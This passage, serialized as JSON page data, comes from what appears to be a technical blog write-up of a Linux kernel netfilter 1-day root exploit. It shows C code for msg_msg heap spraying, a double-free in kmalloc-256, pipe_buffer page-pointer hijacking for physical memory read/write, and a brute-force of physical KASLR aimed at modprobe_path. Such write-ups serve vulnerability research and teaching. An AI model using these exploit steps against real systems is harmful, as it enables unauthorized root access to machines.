msgget",{"type":25,"tag":271,"props":70948,"children":70949},{"style":13625},[70950],{"type":30,"value":70951},"(IPC_PRIVATE, ",{"type":25,"tag":271,"props":70953,"children":70954},{"style":16187},[70955],{"type":30,"value":70956},"0666",{"type":25,"tag":271,"props":70958,"children":70959},{"style":13603},[70960],{"type":30,"value":17401},{"type":25,"tag":271,"props":70962,"children":70963},{"style":13625},[70964],{"type":30,"value":70965}," IPC_CREAT);\n",{"type":25,"tag":271,"props":70967,"children":70968},{"class":13593,"line":16447},[70969,70973,70977,70982,70986,70990,70994],{"type":25,"tag":271,"props":70970,"children":70971},{"style":16171},[70972],{"type":30,"value":16412},{"type":25,"tag":271,"props":70974,"children":70975},{"style":13625},[70976],{"type":30,"value":16213},{"type":25,"tag":271,"props":70978,"children":70979},{"style":13598},[70980],{"type":30,"value":70981},"qid",{"type":25,"tag":271,"props":70983,"children":70984},{"style":13625},[70985],{"type":30,"value":67712},{"type":25,"tag":271,"props":70987,"children":70988},{"style":13603},[70989],{"type":30,"value":14307},{"type":25,"tag":271,"props":70991,"children":70992},{"style":16187},[70993],{"type":30,"value":16190},{"type":25,"tag":271,"props":70995,"children":70996},{"style":13625},[70997],{"type":30,"value":16299},{"type":25,"tag":271,"props":70999,"children":71000},{"class":13593,"line":16465},[71001],{"type":25,"tag":271,"props":71002,"children":71003},{"style":13625},[71004],{"type":30,"value":44771},{"type":25,"tag":271,"props":71006,"children":71007},{"class":13593,"line":16486},[71008,71013,71017,71022],{"type":25,"tag":271,"props":71009,"children":71010},{"style":13620},[71011],{"type":30,"value":71012},"            perror",{"type":25,"tag":271,"props":71014,"children":71015},{"style":13625},[71016],{"type":30,"value":394},{"type":25,"tag":271,"props":71018,"children":71019},{"style":17388},[71020],{"type":30,"value":71021},"\"[-] msgget\"",{"type":25,"tag":271,"props":71023,"children":71024},{"style":13625},[71025],{"type":30,"value":13665},{"type":25,"tag":271,"props":71027,"children":71028},{"class":13593,"line":16495},[71029],{"type":25,"tag":271,"props":71030,"children":71031},{"style":13625},[71032],{"type":30,"value":16492},{"type":25,"tag":271,"props":71034,"children":71035},{"class":13593,"line":16744},[71036,71040,71044,71049,71053,71057,71062,71066,71071,71075],{"type":25,"tag":271,"props":71037,"children":71038},{"style":13603},[71039],{"type":30,"value":20873},{"type":25,"tag":271,"props":71041,"children":71042},{"style":13625},[71043],{"type":30,"value":394},{"type":25,"tag":271,"props":71045,"children":71046},{"style":14289},[71047],{"type":30,"value":71048},"uint32_t",{"type":25,"tag":271,"props":71050,"children":71051},{"style":13603},[71052],{"type":30,"value":22940},{"type":25,"tag":271,"props":71054,"children":71055},{"style":13625},[71056],{"type":30,"value":440},{"type":25,"tag":271,"props":71058,"children":71059},{"style":13598},[71060],{"type":30,"value":71061},"msg",{"type":25,"tag":271,"props":71063,"children":71064},{"style":13625},[71065],{"type":30,"value":14411},{"type":25,"tag":271,"props":71067,"children":71068},{"style":13598},[71069],{"type":30,"value":71070},"mtext",{"type":25,"tag":271,"props":71072,"children":71073},{"style":13603},[71074],{"type":30,"value":16155},{"type":25,"tag":271,"props":71076,"children":71077},{"style":13625},[71078],{"type":30,"value":71079}," i;\n",{"type":25,"tag":271,"props":71081,"children":71082},{"class":13593,"line":16761},[71083,71087,71091,71095,71099,71103,71107,71111,71115,71119,71123,71127,71131,71135,71140],{"type":25,"tag":271,"props":71084,"children":71085},{"style":13603},[71086],{"type":30,"value":20873},{"type":25,"tag":271,"props":71088,"children":71089},{"style":13625},[71090],{"type":30,"value":394},{"type":25,"tag":271,"props":71092,"children":71093},{"style":14289},[71094],{"type":30,"value":68751},{"type":25,"tag":271,"props":71096,"children":71097},{"style":13603},[71098],{"type":30,"value":22940},{"type":25,"tag":271,"props":71100,"children":71101},{"style":13625},[71102],{"type":30,"value":440},{"type":25,"tag":271,"props":71104,"children":71105},{"style":13603},[71106],{"type":30,"value":13632},{"type":25,"tag":271,"props":71108,"children":71109},{"style":13598},[71110],{"type":30,"value":71061},{"type":25,"tag":271,"props":71112,"children":71113},{"style":13625},[71114],{"type":30,"value":14411},{"type":25,"tag":271,"props":71116,"children":71117},{"style":13598},[71118],{"type":30,"value":71070},{"type":25,"tag":271,"props":71120,"children":71121},{"style":13625},[71122],{"type":30,"value":5604},{"type":25,"tag":271,"props":71124,"children":71125},{"style":16187},[71126],{"type":30,"value":17214},{"type":25,"tag":271,"props":71128,"children":71129},{"style":13625},[71130],{"type":30,"value":21781},{"type":25,"tag":271,"props":71132,"children":71133},{"style":13603},[71134],{"type":30,"value":1065},{"type":25,"tag":271,"props":71136,"children":71137},{"style":16187},[71138],{"type":30,"value":71139}," 0xdeadbeefcafebabe",{"type":25,"tag":271,"props":71141,"children":71142},{"style":13625},[71143],{"type":30,"value":16165},{"type":25,"tag":271,"props":71145,"children":71146},{"class":13593,"line":16778},[71147,71152,71156,71161,71165],{"type":25,"tag":271,"props":71148,"children":71149},{"style":13598},[71150],{"type":30,"value":71151},"        msg",{"type":25,"tag":271,"props":71153,"children":71154},{"style":13625},[71155],{"type":30,"value":14411},{"type":25,"tag":271,"props":71157,"children":71158},{"style":13598},[71159],{"type":30,"value":71160},"mtype",{"type":25,"tag":271,"props":71162,"children":71163},{"style":13603},[71164],{"type":30,"value":16155},{"type":25,"tag":271,"props":71166,"children":71167},{"style":13625},[71168],{"type":30,"value":71169}," MTYPE_PRIMARY;\n",{"type":25,"tag":271,"props":71171,"children":71172},{"class":13593,"line":16791},[71173,71178,71182,71186,71191,71195,71199,71204,71208,71212],{"type":25,"tag":271,"props":71174,"children":71175},{"style":13620},[71176],{"type":30,"value":71177},"        msgsnd",{"type":25,"tag":271,"props":71179,"children":71180},{"style":13625},[71181],{"type":30,"value":394},{"type":25,"tag":271,"props":71183,"children":71184},{"style":13598},[71185],{"type":30,"value":70981},{"type":25,"tag":271,"props":71187,"children":71188},{"style":13625},[71189],{"type":30,"value":71190},"[i], msg, ",{"type":25,"tag":271,"props":71192,"children":71193},{"style":16187},[71194],{"type":30,"value":69087},{"type":25,"tag":271,"props":71196,"children":71197},{"style":13603},[71198],{"type":30,"value":64371},{"type":25,"tag":271,"props":71200,"children":71201},{"style":16187},[71202],{"type":30,"value":71203}," 48",{"type":25,"tag":271,"props":71205,"children":71206},{"style":13625},[71207],{"type":30,"value":44},{"type":25,"tag":271,"props":71209,"children":71210},{"style":16187},[71211],{"type":30,"value":953},{"type":25,"tag":271,"props":71213,"children":71214},{"style":13625},[71215],{"type":30,"value":13665},{"type":25,"tag":271,"props":71217,"children":71218},{"class":13593,"line":16800},[71219,71223,71227,71231,71235],{"type":25,"tag":271,"props":71220,"children":71221},{"style":13598},[71222],{"type":30,"value":71151},{"type":25,"tag":271,"props":71224,"children":71225},{"style":13625},[71226],{"type":30,"value":14411},{"type":25,"tag":271,"props":71228,"children":71229},{"style":13598},[71230],{"type":30,"value":71160},{"type":25,"tag":271,"props":71232,"children":71233},{"style":13603},[71234],{"type":30,"value":16155},{"type":25,"tag":271,"props":71236,"children":71237},{"style":13625},[71238],{"type":30,"value":71239}," MTYPE_SECONDARY;\n",{"type":25,"tag":271,"props":71241,"children":71242},{"class":13593,"line":16823},[71243,71247,71251,71255,71259,71264,71268,71272,71276,71280],{"type":25,"tag":271,"props":71244,"children":71245},{"style":13620},[71246],{"type":30,"value":71177},{"type":25,"tag":271,"props":71248,"children":71249},{"style":13625},[71250],{"type":30,"value":394},{"type":25,"tag":271,"props":71252,"children":71253},{"style":13598},[71254],{"type":30,"value":70981},{"type":25,"tag":271,"props":71256,"children":71257},{"style":13625},[71258],{"type":30,"value":71190},{"type":25,"tag":271,"props":71260,"children":71261},{"style":16187},[71262],{"type":30,"value":71263},"1024",{"type":25,"tag":271,"props":71265,"children":71266},{"style":13603},[71267],{"type":30,"value":64371},{"type":25,"tag":271,"props":71269,"children":71270},{"style":16187},[71271],{"type":30,"value":71203},{"type":25,"tag":271,"props":71273,"children":71274},{"style":13625},[71275],{"type":30,"value":44},{"type":25,"tag":271,"props":71277,"children":71278},{"style":16187},[71279],{"type":30,"value":953},{"type":25,"tag":271,"props":71281,"children":71282},{"style":13625},[71283],{"type":30,"value":13665},{"type":25,"tag":271,"props":71285,"children":71286},{"class":13593,"line":16832},[71287],{"type":25,"tag":271,"props":71288,"children":71289},{"style":13625},[71290],{"type":30,"value":16501},{"type":25,"tag":271,"props":71292,"children":71293},{"class":13593,"line":16841},[71294],{"type":25,"tag":271,"props":71295,"children":71296},{"style":14385},[71297],{"type":30,"value":71298},"    // Prepare evil msg\n",{"type":25,"tag":271,"props":71300,"children":71301},{"class":13593,"line":16907},[71302,71306,71311,71315,71319,71323,71327,71331],{"type":25,"tag":271,"props":71303,"children":71304},{"style":14289},[71305],{"type":30,"value":32198},{"type":25,"tag":271,"props":71307,"children":71308},{"style":13625},[71309],{"type":30,"value":71310}," evilqid ",{"type":25,"tag":271,"props":71312,"children":71313},{"style":13603},[71314],{"type":30,"value":1065},{"type":25,"tag":271,"props":71316,"children":71317},{"style":13620},[71318],{"type":30,"value":70946},{"type":25,"tag":271,"props":71320,"children":71321},{"style":13625},[71322],{"type":30,"value":70951},{"type":25,"tag":271,"props":71324,"children":71325},{"style":16187},[71326],{"type":30,"value":70956},{"type":25,"tag":271,"props":71328,"children":71329},{"style":13603},[71330],{"type":30,"value":17401},{"type":25,"tag":271,"props":71332,"children":71333},{"style":13625},[71334],{"type":30,"value":70965},{"type":25,"tag":271,"props":71336,"children":71337},{"class":13593,"line":16915},[71338,71342,71347,71351,71355],{"type":25,"tag":271,"props":71339,"children":71340},{"style":16171},[71341],{"type":30,"value":25404},{"type":25,"tag":271,"props":71343,"children":71344},{"style":13625},[71345],{"type":30,"value":71346}," (evilqid ",{"type":25,"tag":271,"props":71348,"children":71349},{"style":13603},[71350],{"type":30,"value":14307},{"type":25,"tag":271,"props":71352,"children":71353},{"style":16187},[71354],{"type":30,"value":16190},{"type":25,"tag":271,"props":71356,"children":71357},{"style":13625},[71358],{"type":30,"value":16299},{"type":25,"tag":271,"props":71360,"children":71361},{"class":13593,"line":16945},[71362],{"type":25,"tag":271,"props":71363,"children":71364},{"style":13625},[71365],{"type":30,"value":42299},{"type":25,"tag":271,"props":71367,"children":71368},{"class":13593,"line":16953},[71369,71374,71378,71382],{"type":25,"tag":271,"props":71370,"children":71371},{"style":13620},[71372],{"type":30,"value":71373},"        perror",{"type":25,"tag":271,"props":71375,"children":71376},{"style":13625},[71377],{"type":30,"value":394},{"type":25,"tag":271,"props":71379,"children":71380},{"style":17388},[71381],{"type":30,"value":71021},{"type":25,"tag":271,"props":71383,"children":71384},{"style":13625},[71385],{"type":30,"value":13665},{"type":25,"tag":271,"props":71387,"children":71388},{"class":13593,"line":16984},[71389],{"type":25,"tag":271,"props":71390,"children":71391},{"style":13625},[71392],{"type":30,"value":16501},{"type":25,"tag":271,"props":71394,"children":71395},{"class":13593,"line":16992},[71396],{"type":25,"tag":271,"props":71397,"children":71398},{"style":13625},[71399],{"type":30,"value":71400},"[...] // trigger double-free in kmalloc-256\n",{"type":25,"tag":247,"props":71402,"children":71404},{"id":71403},"using-pipe_buffer-page-pointer-for-physical-readwrite",[71405],{"type":30,"value":71406},"Using pipe_buffer->page pointer for physical read/write",{"type":25,"tag":26,"props":71408,"children":71409},{},[71410,71412,71418,71419,71425,71426,71432,71434,71440],{"type":30,"value":71411},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":25,"tag":264,"props":71413,"children":71415},{"className":71414},[],[71416],{"type":30,"value":71417},"kmalloc-1k",{"type":30,"value":12218},{"type":25,"tag":264,"props":71420,"children":71422},{"className":71421},[],[71423],{"type":30,"value":71424},"overlap pipe_buffer",{"type":30,"value":34624},{"type":25,"tag":264,"props":71427,"children":71429},{"className":71428},[],[71430],{"type":30,"value":71431},"skbuf",{"type":30,"value":71433}," data to control the ",{"type":25,"tag":264,"props":71435,"children":71437},{"className":71436},[],[71438],{"type":30,"value":71439},"page",{"type":30,"value":71441}," field.",{"type":25,"tag":26,"props":71443,"children":71444},{},[71445,71446,71451,71453,71459,71461],{"type":30,"value":10272},{"type":25,"tag":264,"props":71447,"children":71449},{"className":71448},[],[71450],{"type":30,"value":71439},{"type":30,"value":71452}," field is a pointer into ",{"type":25,"tag":264,"props":71454,"children":71456},{"className":71455},[],[71457],{"type":30,"value":71458},"vmemmap_base",{"type":30,"value":71460},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":25,"tag":698,"props":71462,"children":71464},{"alt":63694,"src":71463},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":25,"tag":26,"props":71466,"children":71467},{},[71468,71470,71475],{"type":30,"value":71469},"This now allows us to navigate the ",{"type":25,"tag":264,"props":71471,"children":71473},{"className":71472},[],[71474],{"type":30,"value":71458},{"type":30,"value":71476}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":25,"tag":247,"props":71478,"children":71480},{"id":71479},"bruteforce-physical-kernel-base",[71481],{"type":30,"value":71482},"Bruteforce physical kernel base",{"type":25,"tag":26,"props":71484,"children":71485},{},[71486,71488,71494,71496,71501,71503,71509],{"type":30,"value":71487},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":25,"tag":264,"props":71489,"children":71491},{"className":71490},[],[71492],{"type":30,"value":71493},"modprobe_path",{"type":30,"value":71495},". Keep in mind that simply searching page by page from the start of ",{"type":25,"tag":264,"props":71497,"children":71499},{"className":71498},[],[71500],{"type":30,"value":71458},{"type":30,"value":71502}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":25,"tag":264,"props":71504,"children":71506},{"className":71505},[],[71507],{"type":30,"value":71508},"PHYSICAL_ALIGN",{"type":30,"value":71510}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":25,"tag":7764,"props":71512,"children":71514},{"className":42222,"code":71513,"language":42224,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[71515],{"type":25,"tag":264,"props":71516,"children":71517},{"__ignoreMap":7},[71518,71525,71533,71541,71565,71598,71618,71658,71665,71709,71743,71770,71806,71813,71859,71866,71896,71909,71974,71981,71993,72001,72008,72015,72041,72048,72068,72080,72087,72094,72101],{"type":25,"tag":271,"props":71519,"children":71520},{"class":13593,"line":13594},[71521],{"type":25,"tag":271,"props":71522,"children":71523},{"style":13625},[71524],{"type":30,"value":23442},{"type":25,"tag":271,"props":71526,"children":71527},{"class":13593,"line":11641},[71528],{"type":25,"tag":271,"props":71529,"children":71530},{"style":13625},[71531],{"type":30,"value":71532},"// Bruteforce phys-KASLR\n",{"type":25,"tag":271,"props":71534,"children":71535},{"class":13593,"line":14354},[71536],{"type":25,"tag":271,"props":71537,"children":71538},{"style":13625},[71539],{"type":30,"value":71540},"    uint64_t kernel_base;\n",{"type":25,"tag":271,"props":71542,"children":71543},{"class":13593,"line":14391},[71544,71548,71553,71557,71561],{"type":25,"tag":271,"props":71545,"children":71546},{"style":14289},[71547],{"type":30,"value":59588},{"type":25,"tag":271,"props":71549,"children":71550},{"style":13625},[71551],{"type":30,"value":71552}," found ",{"type":25,"tag":271,"props":71554,"children":71555},{"style":13603},[71556],{"type":30,"value":1065},{"type":25,"tag":271,"props":71558,"children":71559},{"style":14289},[71560],{"type":30,"value":22179},{"type":25,"tag":271,"props":71562,"children":71563},{"style":13625},[71564],{"type":30,"value":16165},{"type":25,"tag":271,"props":71566,"children":71567},{"class":13593,"line":14400},[71568,71573,71577,71582,71586,71590,71594],{"type":25,"tag":271,"props":71569,"children":71570},{"style":14289},[71571],{"type":30,"value":71572},"    uint8_t",{"type":25,"tag":271,"props":71574,"children":71575},{"style":13598},[71576],{"type":30,"value":28226},{"type":25,"tag":271,"props":71578,"children":71579},{"style":13625},[71580],{"type":30,"value":71581},"[PAGE_SIZE] ",{"type":25,"tag":271,"props":71583,"children":71584},{"style":13603},[71585],{"type":30,"value":1065},{"type":25,"tag":271,"props":71587,"children":71588},{"style":13625},[71589],{"type":30,"value":58333},{"type":25,"tag":271,"props":71591,"children":71592},{"style":16187},[71593],{"type":30,"value":953},{"type":25,"tag":271,"props":71595,"children":71596},{"style":13625},[71597],{"type":30,"value":29700},{"type":25,"tag":271,"props":71599,"children":71600},{"class":13593,"line":16406},[71601,71605,71609,71614],{"type":25,"tag":271,"props":71602,"children":71603},{"style":13620},[71604],{"type":30,"value":68623},{"type":25,"tag":271,"props":71606,"children":71607},{"style":13625},[71608],{"type":30,"value":394},{"type":25,"tag":271,"props":71610,"children":71611},{"style":17388},[71612],{"type":30,"value":71613},"\"[*] bruteforce phys-KASLR\"",{"type":25,"tag":271,"props":71615,"children":71616},{"style":13625},[71617],{"type":30,"value":13665},{"type":25,"tag":271,"props":71619,"children":71620},{"class":13593,"line":16434},[71621,71625,71629,71633,71637,71641,71645,71650,71654],{"type":25,"tag":271,"props":71622,"children":71623},{"style":16171},[71624],{"type":30,"value":16174},{"type":25,"tag":271,"props":71626,"children":71627},{"style":13625},[71628],{"type":30,"value":16213},{"type":25,"tag":271,"props":71630,"children":71631},{"style":14289},[71632],{"type":30,"value":68751},{"type":25,"tag":271,"props":71634,"children":71635},{"style":13625},[71636],{"type":30,"value":67660},{"type":25,"tag":271,"props":71638,"children":71639},{"style":13603},[71640],{"type":30,"value":1065},{"type":25,"tag":271,"props":71642,"children":71643},{"style":16187},[71644],{"type":30,"value":16190},{"type":25,"tag":271,"props":71646,"children":71647},{"style":13625},[71648],{"type":30,"value":71649},";; i",{"type":25,"tag":271,"props":71651,"children":71652},{"style":13603},[71653],{"type":30,"value":64385},{"type":25,"tag":271,"props":71655,"children":71656},{"style":13625},[71657],{"type":30,"value":16299},{"type":25,"tag":271,"props":71659,"children":71660},{"class":13593,"line":16447},[71661],{"type":25,"tag":271,"props":71662,"children":71663},{"style":13625},[71664],{"type":30,"value":42299},{"type":25,"tag":271,"props":71666,"children":71667},{"class":13593,"line":16465},[71668,71673,71677,71682,71686,71691,71695,71700,71704],{"type":25,"tag":271,"props":71669,"children":71670},{"style":13625},[71671],{"type":30,"value":71672},"        kernel_base ",{"type":25,"tag":271,"props":71674,"children":71675},{"style":13603},[71676],{"type":30,"value":1065},{"type":25,"tag":271,"props":71678,"children":71679},{"style":16187},[71680],{"type":30,"value":71681}," 0x40",{"type":25,"tag":271,"props":71683,"children":71684},{"style":13603},[71685],{"type":30,"value":22940},{"type":25,"tag":271,"props":71687,"children":71688},{"style":13625},[71689],{"type":30,"value":71690}," ((PHYSICAL_ALIGN ",{"type":25,"tag":271,"props":71692,"children":71693},{"style":13603},[71694],{"type":30,"value":17702},{"type":25,"tag":271,"props":71696,"children":71697},{"style":13625},[71698],{"type":30,"value":71699}," i) ",{"type":25,"tag":271,"props":71701,"children":71702},{"style":13603},[71703],{"type":30,"value":25886},{"type":25,"tag":271,"props":71705,"children":71706},{"style":13625},[71707],{"type":30,"value":71708}," PAGE_SHIFT);\n",{"type":25,"tag":271,"props":71710,"children":71711},{"class":13593,"line":16486},[71712,71717,71721,71725,71729,71734,71738],{"type":25,"tag":271,"props":71713,"children":71714},{"style":13598},[71715],{"type":30,"value":71716},"        pipebuf",{"type":25,"tag":271,"props":71718,"children":71719},{"style":13625},[71720],{"type":30,"value":14411},{"type":25,"tag":271,"props":71722,"children":71723},{"style":13598},[71724],{"type":30,"value":71439},{"type":25,"tag":271,"props":71726,"children":71727},{"style":13603},[71728],{"type":30,"value":16155},{"type":25,"tag":271,"props":71730,"children":71731},{"style":13625},[71732],{"type":30,"value":71733}," vmemmap_base ",{"type":25,"tag":271,"props":71735,"children":71736},{"style":13603},[71737],{"type":30,"value":2074},{"type":25,"tag":271,"props":71739,"children":71740},{"style":13625},[71741],{"type":30,"value":71742}," kernel_base;\n",{"type":25,"tag":271,"props":71744,"children":71745},{"class":13593,"line":16495},[71746,71750,71754,71758,71762,71766],{"type":25,"tag":271,"props":71747,"children":71748},{"style":13598},[71749],{"type":30,"value":71716},{"type":25,"tag":271,"props":71751,"children":71752},{"style":13625},[71753],{"type":30,"value":14411},{"type":25,"tag":271,"props":71755,"children":71756},{"style":13598},[71757],{"type":30,"value":27022},{"type":25,"tag":271,"props":71759,"children":71760},{"style":13603},[71761],{"type":30,"value":16155},{"type":25,"tag":271,"props":71763,"children":71764},{"style":16187},[71765],{"type":30,"value":16190},{"type":25,"tag":271,"props":71767,"children":71768},{"style":13625},[71769],{"type":30,"value":16165},{"type":25,"tag":271,"props":71771,"children":71772},{"class":13593,"line":16744},[71773,71777,71781,71785,71789,71794,71798,71802],{"type":25,"tag":271,"props":71774,"children":71775},{"style":13598},[71776],{"type":30,"value":71716},{"type":25,"tag":271,"props":71778,"children":71779},{"style":13625},[71780],{"type":30,"value":14411},{"type":25,"tag":271,"props":71782,"children":71783},{"style":13598},[71784],{"type":30,"value":22261},{"type":25,"tag":271,"props":71786,"children":71787},{"style":13603},[71788],{"type":30,"value":16155},{"type":25,"tag":271,"props":71790,"children":71791},{"style":13625},[71792],{"type":30,"value":71793}," PAGE_SIZE ",{"type":25,"tag":271,"props":71795,"children":71796},{"style":13603},[71797],{"type":30,"value":2074},{"type":25,"tag":271,"props":71799,"children":71800},{"style":16187},[71801],{"type":30,"value":17654},{"type":25,"tag":271,"props":71803,"children":71804},{"style":13625},[71805],{"type":30,"value":16165},{"type":25,"tag":271,"props":71807,"children":71808},{"class":13593,"line":16761},[71809],{"type":25,"tag":271,"props":71810,"children":71811},{"style":13625},[71812],{"type":30,"value":23442},{"type":25,"tag":271,"props":71814,"children":71815},{"class":13593,"line":16778},[71816,71821,71825,71829,71833,71837,71842,71846,71851,71855],{"type":25,"tag":271,"props":71817,"children":71818},{"style":13625},[71819],{"type":30,"value":71820},"        for (",{"type":25,"tag":271,"props":71822,"children":71823},{"style":14289},[71824],{"type":30,"value":32168},{"type":25,"tag":271,"props":71826,"children":71827},{"style":13598},[71828],{"type":30,"value":21744},{"type":25,"tag":271,"props":71830,"children":71831},{"style":13603},[71832],{"type":30,"value":16155},{"type":25,"tag":271,"props":71834,"children":71835},{"style":16187},[71836],{"type":30,"value":16190},{"type":25,"tag":271,"props":71838,"children":71839},{"style":13625},[71840],{"type":30,"value":71841},"; j ",{"type":25,"tag":271,"props":71843,"children":71844},{"style":13603},[71845],{"type":30,"value":14307},{"type":25,"tag":271,"props":71847,"children":71848},{"style":13625},[71849],{"type":30,"value":71850}," PIPE_SPRAY; j",{"type":25,"tag":271,"props":71852,"children":71853},{"style":13603},[71854],{"type":30,"value":64385},{"type":25,"tag":271,"props":71856,"children":71857},{"style":13625},[71858],{"type":30,"value":16299},{"type":25,"tag":271,"props":71860,"children":71861},{"class":13593,"line":16791},[71862],{"type":25,"tag":271,"props":71863,"children":71864},{"style":13625},[71865],{"type":30,"value":44771},{"type":25,"tag":271,"props":71867,"children":71868},{"class":13593,"line":16800},[71869,71874,71878,71882,71887,71891],{"type":25,"tag":271,"props":71870,"children":71871},{"style":13620},[71872],{"type":30,"value":71873},"            memset",{"type":25,"tag":271,"props":71875,"children":71876},{"style":13625},[71877],{"type":30,"value":394},{"type":25,"tag":271,"props":71879,"children":71880},{"style":13603},[71881],{"type":30,"value":13632},{"type":25,"tag":271,"props":71883,"children":71884},{"style":13625},[71885],{"type":30,"value":71886},"data, ",{"type":25,"tag":271,"props":71888,"children":71889},{"style":16187},[71890],{"type":30,"value":953},{"type":25,"tag":271,"props":71892,"children":71893},{"style":13625},[71894],{"type":30,"value":71895},", PAGE_SIZE);\n",{"type":25,"tag":271,"props":71897,"children":71898},{"class":13593,"line":16823},[71899,71904],{"type":25,"tag":271,"props":71900,"children":71901},{"style":14289},[71902],{"type":30,"value":71903},"            int",{"type":25,"tag":271,"props":71905,"children":71906},{"style":13625},[71907],{"type":30,"value":71908}," count;\n",{"type":25,"tag":271,"props":71910,"children":71911},{"class":13593,"line":16832},[71912,71917,71922,71926,71931,71935,71940,71945,71949,71953,71957,71962,71966,71970],{"type":25,"tag":271,"props":71913,"children":71914},{"style":16171},[71915],{"type":30,"value":71916},"            if",{"type":25,"tag":271,"props":71918,"children":71919},{"style":13625},[71920],{"type":30,"value":71921}," (count ",{"type":25,"tag":271,"props":71923,"children":71924},{"style":13603},[71925],{"type":30,"value":1065},{"type":25,"tag":271,"props":71927,"children":71928},{"style":13620},[71929],{"type":30,"value":71930}," read",{"type":25,"tag":271,"props":71932,"children":71933},{"style":13625},[71934],{"type":30,"value":394},{"type":25,"tag":271,"props":71936,"children":71937},{"style":13598},[71938],{"type":30,"value":71939},"pfd",{"type":25,"tag":271,"props":71941,"children":71942},{"style":13625},[71943],{"type":30,"value":71944},"[j][",{"type":25,"tag":271,"props":71946,"children":71947},{"style":16187},[71948],{"type":30,"value":953},{"type":25,"tag":271,"props":71950,"children":71951},{"style":13625},[71952],{"type":30,"value":36160},{"type":25,"tag":271,"props":71954,"children":71955},{"style":13603},[71956],{"type":30,"value":13632},{"type":25,"tag":271,"props":71958,"children":71959},{"style":13625},[71960],{"type":30,"value":71961},"data, PAGE_SIZE) ",{"type":25,"tag":271,"props":71963,"children":71964},{"style":13603},[71965],{"type":30,"value":14307},{"type":25,"tag":271,"props":71967,"children":71968},{"style":16187},[71969],{"type":30,"value":16190},{"type":25,"tag":271,"props":71971,"children":71972},{"style":13625},[71973],{"type":30,"value":16299},{"type":25,"tag":271,"props":71975,"children":71976},{"class":13593,"line":16841},[71977],{"type":25,"tag":271,"props":71978,"children":71979},{"style":13625},[71980],{"type":30,"value":44807},{"type":25,"tag":271,"props":71982,"children":71983},{"class":13593,"line":16907},[71984,71989],{"type":25,"tag":271,"props":71985,"children":71986},{"style":16171},[71987],{"type":30,"value":71988},"                continue",{"type":25,"tag":271,"props":71990,"children":71991},{"style":13625},[71992],{"type":30,"value":16165},{"type":25,"tag":271,"props":71994,"children":71995},{"class":13593,"line":16915},[71996],{"type":25,"tag":271,"props":71997,"children":71998},{"style":13625},[71999],{"type":30,"value":72000},"            }\n",{"type":25,"tag":271,"props":72002,"children":72003},{"class":13593,"line":16945},[72004],{"type":25,"tag":271,"props":72005,"children":72006},{"style":13625},[72007],{"type":30,"value":23442},{"type":25,"tag":271,"props":72009,"children":72010},{"class":13593,"line":16953},[72011],{"type":25,"tag":271,"props":72012,"children":72013},{"emptyLinePlaceholder":18},[72014],{"type":30,"value":16829},{"type":25,"tag":271,"props":72016,"children":72017},{"class":13593,"line":16984},[72018,72023,72028,72032,72036],{"type":25,"tag":271,"props":72019,"children":72020},{"style":13625},[72021],{"type":30,"value":72022},"            if (",{"type":25,"tag":271,"props":72024,"children":72025},{"style":13609},[72026],{"type":30,"value":72027},"is_kernel_base",{"type":25,"tag":271,"props":72029,"children":72030},{"style":13625},[72031],{"type":30,"value":394},{"type":25,"tag":271,"props":72033,"children":72034},{"style":13609},[72035],{"type":30,"value":10346},{"type":25,"tag":271,"props":72037,"children":72038},{"style":13625},[72039],{"type":30,"value":72040},")) // [1] identify kernel base\n",{"type":25,"tag":271,"props":72042,"children":72043},{"class":13593,"line":16992},[72044],{"type":25,"tag":271,"props":72045,"children":72046},{"style":13625},[72047],{"type":30,"value":44807},{"type":25,"tag":271,"props":72049,"children":72050},{"class":13593,"line":17052},[72051,72056,72060,72064],{"type":25,"tag":271,"props":72052,"children":72053},{"style":13625},[72054],{"type":30,"value":72055},"                found ",{"type":25,"tag":271,"props":72057,"children":72058},{"style":13603},[72059],{"type":30,"value":1065},{"type":25,"tag":271,"props":72061,"children":72062},{"style":14289},[72063],{"type":30,"value":25594},{"type":25,"tag":271,"props":72065,"children":72066},{"style":13625},[72067],{"type":30,"value":16165},{"type":25,"tag":271,"props":72069,"children":72070},{"class":13593,"line":22168},[72071,72076],{"type":25,"tag":271,"props":72072,"children":72073},{"style":16171},[72074],{"type":30,"value":72075},"                break",{"type":25,"tag":271,"props":72077,"children":72078},{"style":13625},[72079],{"type":30,"value":16165},{"type":25,"tag":271,"props":72081,"children":72082},{"class":13593,"line":22186},[72083],{"type":25,"tag":271,"props":72084,"children":72085},{"style":13625},[72086],{"type":30,"value":72000},{"type":25,"tag":271,"props":72088,"children":72089},{"class":13593,"line":22231},[72090],{"type":25,"tag":271,"props":72091,"children":72092},{"style":13625},[72093],{"type":30,"value":16492},{"type":25,"tag":271,"props":72095,"children":72096},{"class":13593,"line":22337},[72097],{"type":25,"tag":271,"props":72098,"children":72099},{"emptyLinePlaceholder":18},[72100],{"type":30,"value":16829},{"type":25,"tag":271,"props":72102,"children":72103},{"class":13593,"line":36608},[72104],{"type":25,"tag":271,"props":72105,"children":72106},{"style":13625},[72107],{"type":30,"value":23442},{"type":25,"tag":26,"props":72109,"children":72110},{},[72111,72113,72117,72119,72125,72127,72131],{"type":30,"value":72112},"Notice that at 